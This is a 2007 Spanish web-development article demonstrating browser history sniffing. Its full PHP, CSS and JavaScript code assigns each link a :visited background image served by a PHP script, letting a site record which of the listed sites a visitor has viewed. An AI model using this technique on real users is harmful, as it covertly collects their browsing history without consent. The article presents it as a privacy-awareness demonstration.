Portada | Monotemáticos | Secciones | Desarrolladores | Comunidad | Servicios | Servicios profesionales | RSS
Desde 0 | HTML | CSS | ASP | PHP | AJAX | Javascript | Promoción de webs | Rentabilidad de webs
Directorio | Manuales | Scripts | FAQs | Programas | Artículos Copyleft | Actualidad | La Cosecha | Colabora
Registrarse | Vuestras páginas | Foros del web | Lista de correo | Boletín de novedades
Generador METAs | Compras | Busca cursos
Alojamiento | Dominios.es | Micropagos SMS | Buscadores | Patentes, marcas | Creación web | Multimedia | Videos
Desarrollo Freelance | Buscar proyectos | Buscar profesionales | Solicitar desarrollo

Tu historial de navegación es privado?


Antes de avanzar, la respuesta a la pregunta formulada en el título es NO.


28/8/07 - Vamos a ver si un sitio x (o, ¿porqué no?, triple x) figura en el historial de nuestro visitante, valiéndonos de un truco sencillo: como atributo background, en la pseudoclase visited de un enlace, colocaremos una imagen generada con un archivo php, de manera tal que, cuando cargue la página y el navegador compruebe en el historial del visitante los vínculos que fueron visitados, llame generosamente a nuestro archivo php, y así obtengamos un informe completo acerca de cuáles páginas de nuestra lista figuran en su historial. Este es el ejemplo, y este es el código utilizado:

<?php
session_start();
if(isset($_GET['im'])){
header("Content-type:image/jpeg");
$im='/9j/4AAQSkZJRgABAQEACgAKAAD/2wBDABALDA4MChAODQ4SERATGCgaGBYWGDEjJ R0oOjM9PDkzODdASFxOQERXRTc4UG1RV19iZ2hnPk1xeXBkeFxlZ2P/2wBDARESEhgVGC8aGi9 jQjhCY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2P/wAARCAAKAAo DASIAAhEBAxEB/8QAHwAAAQUBAQEBAQEAAAAAAAAAAAECAwQFBgcICQoL/8QAtRAAAgEDAwIE AwUFBAQAAAF9AQIDAAQRBRIhMUEGE1FhByJxFDKBkaEII0KxwRVS0fAkM2JyggkKFhcYGRolJicoKS o0NTY3ODk6Q0RFRkdISUpTVFVWV1hZWmNkZWZnaGlqc3R1dnd4eXqDhIWGh4iJipKTlJWWl5iZmqKjpKWmp 6ipqrKztLW2t7i5usLDxMXGx8jJytLT1NXW19jZ2uHi4+Tl5ufo6erx8vP09fb3+Pn6/8QAHwEAAwEBAQEBA QEBAQAAAAAAAAECAwQFBgcICQoL/8QAtREAAgECBAQDBAcFBAQAAQJ3AAECAxEEBSExBhJBUQdhcR MiMoEIFEKRobHBCSMzUvAVYnLRChYkNOEl8RcYGRomJygpKjU2Nzg5OkNERUZHSElKU1RVVldYWVpjZGVmZ2 hpanN0dXZ3eHl6goOEhYaHiImKkpOUlZaXmJmaoqOkpaanqKmqsrO0tba3uLm6wsPExcbHyMnK0tPU1dbX 2Nna4uPk5ebn6Onq8vP09fb3+Pn6/9oADAMBAAIRAxEAPwDt6KKKAP/Z';
echo base64_decode($im);
if(isset($_SESSION['en_historial']))
if(in_array($_GET['im'],$_SESSION['en_historial']))
exit;
$_SESSION['en_historial'][]=$_GET['im'];
exit;
}
if(isset($_GET['ver_en_historial'])){
$html='';
if(count($_SESSION['en_historial'])==0){
echo 'document.getElementById("lista").innerHTML="Ninguno figura en el historial"';
exit;
}
foreach($_SESSION['en_historial'] as $v)
$html.=$v.'<br />';
echo 'document.getElementById("lista").innerHTML="'.$html.'"';
exit;
}
?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1" />
<title>test</title>
<style>
a:link,a:active,a:hover{
font-family:Verdana, Arial, Helvetica, sans-serif;
font-size:9px;
color:#FF0000;
background:url(no_visitada.jpg);
}
</style>
<script>
function rpc(url){
oldsc=document.getElementById("old_sc");
if(oldsc)
document.getElementsByTagName('body')[0].removeChild(oldsc);
sc=document.createElement('script');
sc.id="old_sc";
sc.src=url+'&'+Math.random();
document.getElementsByTagName('body')[0].appendChild(sc);
}
function addCss(cssCode,i) {
control=document.getElementById(i)
if(control)
document.getElementsByTagName("head")[0].removeChild(control)
var styleElement = document.createElement("style");
styleElement.type = "text/css";
if (styleElement.styleSheet) {
styleElement.styleSheet.cssText = cssCode;
} else {
styleElement.appendChild(document.createTextNode(cssCode))
}
styleElement.id =i;
document.getElementsByTagName("head")[0].appendChild(styleElement);
}
window.onload=function(){
enlaces=document.getElementsByTagName('a');
for(i=0;i<enlaces.length;i++){
cssCode='a#'+enlaces[i].id+':visited{font-family:Verdana, Arial, Helvetica, sans-serif;font-size:9px;color:#FF0000;background:url(<?php echo basename($_SERVER['PHP_SELF']) ?>?im='+enlaces[i].href+');}';
addCss(cssCode,'tt'+i)
}
}
</script>
</head>

<body>
<p><a id="uno" href="http://www.google.es">Google</a><br />
<a id="dos" href="http://www.yahoo.com">Yahoo</a><br />
<a id="tres" href="http://www.php-hispano.net">php-hispano</a><br />
<a id="cuatro" href="http://www.neocreativo.es">neocreativo</a></p>
<a href="javascript:rpc('?ver_en_historial')">ver cuáles figuran en tu historial</a>
<div id="lista"></div>
</body>
</html>


Lo complicado de nuestro experimento puede ser el javascript utilizado, pero podríamos haberlo obviado, ya que sólo lo usamos para no escribir manualmente los estilos de cada enlace. De todas maneras, vamos a explicarlo un poco:

La función addCss lo que hace es agregar vía DOM un elemento style en la página, con el texto que nosotros necesitamos que figure en él. Maneja un poco de cross-browser, ya que Explorer, a diferencia de los navegadores serios, no interpreta correctamente el texto agregado como TextNode dentro de un elemento style.

Explicada la función addCss, y como la función rpc sólo sirve para obtener del servidor el informe de los enlaces visitados de manera asíncrona, y ya fue explicada aquí, sólo resta decir que, cuando carga la página (es decir, se produce el evento window.onload), se exploran los enlaces y se les asigna a cada uno de ellos un estilo para su estado visited, que pone nuestra imagen php como background y al mismo tiempo le pasa por la url la ruta que deberá almacenar para tenerla disponible cuando solicitemos el informe de páginas ya visitadas.

Final paranoico / dramático

Si con un poco de css y php es posible acceder a datos supuestamente privados del usuario, qué otra información privada estaremos regalando sin saberlo...

 Seguir navegando a partir aquí:
+ 1 manual relacionado
+ 1 categoria relacionada

 Autoría, licencia y acciones sobre este artículo

Informe de Andrés Fernández*
URL: http://www.disegnocentell.com.ar

Atención: Copyright. Este artículo no se puede reproducir sin la autorización expresa del autor.

* Para consultas técnicas utilizar la lista de correo.

Versión imprimible Versión imprimible del artículo
Enviar artículo por e-mail Enviar artículo por e-mail
Añadir un comentario al artículo Publicar un comentario del artículo

Manuales relacionados con este artículo
Dentro de Taller de PHP
Siguiente: ¿PDF Mejorado?

Categorias relacionadas
A través de las categorías de nuestro directorio se pueden encontrar otro tipo de recursos relacionados con este artículo:
+ Entrar en Scripts en PHP


 Comentarios de los visitantes
Aun no hemos recibido comentarios de este artículo.
Puedes ser el primero en enviar tu comentario.



Enlaces:
Maestrosdelweb
  Ir arriba

Manuales relacionados
+Taller de PHP
Categorías
+Scripts en PHP

Lectura recomendada

Compra este libro en Agapea, la librería urgente a domicilio.

Tienda DesarrolloWeb

DesarrolloWeb.com | Copyright | Anunciese | Acerca de | Datos legales | Contacta | Por GuiarteMultimedia